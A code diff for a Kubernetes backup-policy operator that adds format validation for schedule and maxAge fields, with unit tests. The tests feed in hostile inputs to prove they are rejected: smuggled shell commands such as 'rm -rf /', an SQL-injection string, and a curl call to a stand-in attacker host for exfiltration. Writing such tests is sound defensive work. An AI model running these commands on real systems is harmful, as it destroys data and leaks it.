diff --git a/api/v1alpha1/backuppolicy_types.go b/api/v1alpha1/backuppolicy_types.go index 2218c5e0..40080b3a 100644 --- a/api/v1alpha1/backuppolicy_types.go +++ b/api/v1alpha1/backuppolicy_types.go @@ -46,6 +46,7 @@ type BackupPolicySpec struct { // MaxAge is the maximum age of backups to retain (e.g. "7d", "12h", "30m"). // Backups older than this are merged. Accepts m, h, d, w suffixes. // +optional + // +kubebuilder:validation:Pattern=`^\d+[mhdw]$` // +operator-sdk:csv:customresourcedefinitions:type=spec,displayName="Max Age" MaxAge string `json:"maxAge,omitempty"` @@ -53,6 +54,7 @@ type BackupPolicySpec struct { // interval,keep_count pairs (e.g. "15m,4 60m,11 24h,7"). // Intervals must be strictly increasing. Supported units: m, h, d, w. // +optional + // +kubebuilder:validation:Pattern=`^(\d+[mhdw],\d+)(\s+\d+[mhdw],\d+)*$` // +operator-sdk:csv:customresourcedefinitions:type=spec,displayName="Schedule" Schedule string `json:"schedule,omitempty"` } diff --git a/internal/controller/backuppolicy_controller.go b/internal/controller/backuppolicy_controller.go index b17bc0d4..ee3c1e5b 100644 --- a/internal/controller/backuppolicy_controller.go +++ b/internal/controller/backuppolicy_controller.go @@ -22,6 +22,7 @@ import ( "fmt" "net/http" "reflect" + "regexp" "strings" "time" @@ -55,6 +56,7 @@ const ( // Event reason constants for BackupPolicy reconciliation. const ( + eventReasonPolicySpecInvalid = "PolicySpecInvalid" eventReasonPolicyClusterLookupError = "PolicyClusterLookupError" eventReasonPolicyClusterAuthError = "PolicyClusterAuthError" eventReasonPolicyCreateFailed = "PolicyCreateFailed" @@ -63,6 +65,13 @@ const ( eventReasonPolicyDetachFailed = "PolicyDetachFailed" ) +// schedulePattern matches a space-separated list of interval,keep_count pairs +// (e.g. "15m,4 60m,11 24h,7"). Supported interval units: m, h, d, w. +var schedulePattern = regexp.MustCompile(`^(\d+[mhdw],\d+)(\s+\d+[mhdw],\d+)*$`) + +// maxAgePattern matches a positive integer followed by a unit suffix (m, h, d, w). +var maxAgePattern = regexp.MustCompile(`^\d+[mhdw]$`) + // BackupPolicyReconciler reconciles a BackupPolicy object. type BackupPolicyReconciler struct { client.Client @@ -114,6 +123,20 @@ func (r *BackupPolicyReconciler) Reconcile(ctx context.Context, req ctrl.Request return r.handleDeletion(ctx, policyCR) } + // Validate user-supplied string fields before any mutation or backend call. + // Schedule and MaxAge are immutable, so a bad value is a terminal condition — + // the CR must be deleted and recreated; we do not requeue. + if msg := validateBackupPolicySpec(policyCR.Spec); msg != "" { + r.Recorder.Event(policyCR, corev1.EventTypeWarning, eventReasonPolicySpecInvalid, msg) + if patchErr := r.patchStatus(ctx, policyCR, func(s *simplyblockv1alpha1.BackupPolicyStatus) { + s.Phase = simplyblockv1alpha1.BackupPolicyPhaseFailed + s.Message = msg + }); patchErr != nil { + return ctrl.Result{}, patchErr + } + return ctrl.Result{}, nil + } + if !controllerutil.ContainsFinalizer(policyCR, backupPolicyFinalizer) { controllerutil.AddFinalizer(policyCR, backupPolicyFinalizer) if err := r.Update(ctx, policyCR); err != nil { @@ -686,3 +709,30 @@ func removeAttachment(slice []simplyblockv1alpha1.AttachedLvol, remove simplyblo func attachmentKey(a simplyblockv1alpha1.AttachedLvol) string { return a.PVCNamespace + "/" + a.PVCName + "/" + a.LvolID } + +// validateBackupPolicySpec checks the format of user-supplied string fields +// that are forwarded to the backend API without further escaping. It returns a +// non-empty human-readable message when a field value is present but does not +// match the expected format, and an empty string when the spec is valid. +// +// The kubebuilder Pattern markers on the CRD provide admission-time enforcement, +// but this runtime check is the last line of defense against malformed or +// injected values reaching the backend (e.g. clusters upgraded before the new +// CRD schema was applied, or direct etcd writes). +func validateBackupPolicySpec(spec simplyblockv1alpha1.BackupPolicySpec) string { + if spec.Schedule != "" && !schedulePattern.MatchString(spec.Schedule) { + return fmt.Sprintf( + "invalid schedule %q: expected space-separated interval,keep_count pairs "+ + "(e.g. \"15m,4 60m,11 24h,7\"); supported units: m, h, d, w", + spec.Schedule, + ) + } + if spec.MaxAge != "" && !maxAgePattern.MatchString(spec.MaxAge) { + return fmt.Sprintf( + "invalid maxAge %q: expected a positive integer with a unit suffix "+ + "(e.g. \"7d\"); supported units: m, h, d, w", + spec.MaxAge, + ) + } + return "" +} diff --git a/internal/controller/backuppolicy_controller_unit_test.go b/internal/controller/backuppolicy_controller_unit_test.go index 3db27f3a..6dd717c1 100644 --- a/internal/controller/backuppolicy_controller_unit_test.go +++ b/internal/controller/backuppolicy_controller_unit_test.go @@ -595,6 +595,125 @@ func assertAttachDetachRequest(t *testing.T, req webapimock.RecordedRequest, pat } } +// ---- validateBackupPolicySpec tests ---- + +func TestValidateBackupPolicySpec(t *testing.T) { + tests := []struct { + name string + spec simplyblockv1alpha1.BackupPolicySpec + wantErr bool + }{ + // valid — empty optional fields + {name: "empty fields", spec: simplyblockv1alpha1.BackupPolicySpec{}}, + // valid schedules + {name: "schedule single pair minutes", spec: simplyblockv1alpha1.BackupPolicySpec{Schedule: "15m,4"}}, + {name: "schedule single pair hours", spec: simplyblockv1alpha1.BackupPolicySpec{Schedule: "2h,3"}}, + {name: "schedule single pair days", spec: simplyblockv1alpha1.BackupPolicySpec{Schedule: "1d,7"}}, + {name: "schedule single pair weeks", spec: simplyblockv1alpha1.BackupPolicySpec{Schedule: "1w,2"}}, + {name: "schedule multi pair", spec: simplyblockv1alpha1.BackupPolicySpec{Schedule: "15m,4 60m,11 24h,7"}}, + // valid maxAge + {name: "maxAge minutes", spec: simplyblockv1alpha1.BackupPolicySpec{MaxAge: "30m"}}, + {name: "maxAge hours", spec: simplyblockv1alpha1.BackupPolicySpec{MaxAge: "12h"}}, + {name: "maxAge days", spec: simplyblockv1alpha1.BackupPolicySpec{MaxAge: "7d"}}, + {name: "maxAge weeks", spec: simplyblockv1alpha1.BackupPolicySpec{MaxAge: "2w"}}, + // invalid schedules + {name: "schedule @reboot macro", spec: simplyblockv1alpha1.BackupPolicySpec{Schedule: "@reboot"}, wantErr: true}, + {name: "schedule shell injection semicolon", spec: simplyblockv1alpha1.BackupPolicySpec{Schedule: "15m,4; rm -rf /"}, wantErr: true}, + {name: "schedule missing keep count", spec: simplyblockv1alpha1.BackupPolicySpec{Schedule: "15m"}, wantErr: true}, + {name: "schedule invalid unit", spec: simplyblockv1alpha1.BackupPolicySpec{Schedule: "15s,4"}, wantErr: true}, + {name: "schedule named macro", spec: simplyblockv1alpha1.BackupPolicySpec{Schedule: "@daily"}, wantErr: true}, + // invalid maxAge + {name: "maxAge bad unit suffix", spec: simplyblockv1alpha1.BackupPolicySpec{MaxAge: "7x"}, wantErr: true}, + {name: "maxAge shell injection", spec: simplyblockv1alpha1.BackupPolicySpec{MaxAge: "7d; rm -rf /"}, wantErr: true}, + {name: "maxAge no leading digit", spec: simplyblockv1alpha1.BackupPolicySpec{MaxAge: "d"}, wantErr: true}, + {name: "maxAge empty string unit only", spec: simplyblockv1alpha1.BackupPolicySpec{MaxAge: "h"}, wantErr: true}, + } + for _, tc := range tests { + t.Run(tc.name, func(t *testing.T) { + msg := validateBackupPolicySpec(tc.spec) + if tc.wantErr && msg == "" { + t.Fatal("expected a validation error message, got none") + } + if !tc.wantErr && msg != "" { + t.Fatalf("expected no error, got %q", msg) + } + }) + } +} + +func TestBackupPolicyReconcileInvalidScheduleSetsFailed(t *testing.T) { + const policyName = "policy-bad-schedule" + + policy := testBackupPolicyCR(policyName) + // Inject a malicious schedule string — must not reach the backend. + policy.Spec.Schedule = "@reboot; curl attacker.example/exfil" + + r := newBackupPolicyTestReconciler(t, policy) + + res, err := r.Reconcile(context.Background(), ctrl.Request{NamespacedName: client.ObjectKeyFromObject(policy)}) + if err != nil { + t.Fatalf("reconcile returned unexpected error: %v", err) + } + if res.RequeueAfter != 0 { + t.Fatalf("expected terminal (no-requeue) result, got %+v", res) + } + + current := getBackupPolicy(t, r.Client, policy) + if current.Status.Phase != simplyblockv1alpha1.BackupPolicyPhaseFailed { + t.Fatalf("expected phase %q, got %q", simplyblockv1alpha1.BackupPolicyPhaseFailed, current.Status.Phase) + } + if !strings.Contains(current.Status.Message, "invalid schedule") { + t.Fatalf("expected message to mention \"invalid schedule\", got %q", current.Status.Message) + } +} + +func TestBackupPolicyReconcileInvalidMaxAgeSetsFailed(t *testing.T) { + const policyName = "policy-bad-maxage" + + policy := testBackupPolicyCR(policyName) + // Inject a malicious maxAge string — must not reach the backend. + policy.Spec.MaxAge = "7d; DROP TABLE backups;--" + + r := newBackupPolicyTestReconciler(t, policy) + + res, err := r.Reconcile(context.Background(), ctrl.Request{NamespacedName: client.ObjectKeyFromObject(policy)}) + if err != nil { + t.Fatalf("reconcile returned unexpected error: %v", err) + } + if res.RequeueAfter != 0 { + t.Fatalf("expected terminal (no-requeue) result, got %+v", res) + } + + current := getBackupPolicy(t, r.Client, policy) + if current.Status.Phase != simplyblockv1alpha1.BackupPolicyPhaseFailed { + t.Fatalf("expected phase %q, got %q", simplyblockv1alpha1.BackupPolicyPhaseFailed, current.Status.Phase) + } + if !strings.Contains(current.Status.Message, "invalid maxAge") { + t.Fatalf("expected message to mention \"invalid maxAge\", got %q", current.Status.Message) + } +} + +func TestBackupPolicyReconcileInvalidSpecMakesNoBackendCalls(t *testing.T) { + const policyName = "policy-bad-no-api" + + policy := testBackupPolicyCR(policyName) + policy.Spec.Schedule = "*/5 * * * *" // cron-style — not our format + + // Deliberately provide no mock server — any backend call would panic or + // fail with a connection error, proving the validation short-circuits first. + r := newBackupPolicyTestReconciler(t, policy) + + _, err := r.Reconcile(context.Background(), ctrl.Request{NamespacedName: client.ObjectKeyFromObject(policy)}) + if err != nil { + t.Fatalf("reconcile returned unexpected error: %v", err) + } + + current := getBackupPolicy(t, r.Client, policy) + if current.Status.Phase != simplyblockv1alpha1.BackupPolicyPhaseFailed { + t.Fatalf("expected Failed phase, got %q", current.Status.Phase) + } +} + func newBackupPolicyTestReconciler(t *testing.T, objects ...client.Object) *BackupPolicyReconciler { t.Helper()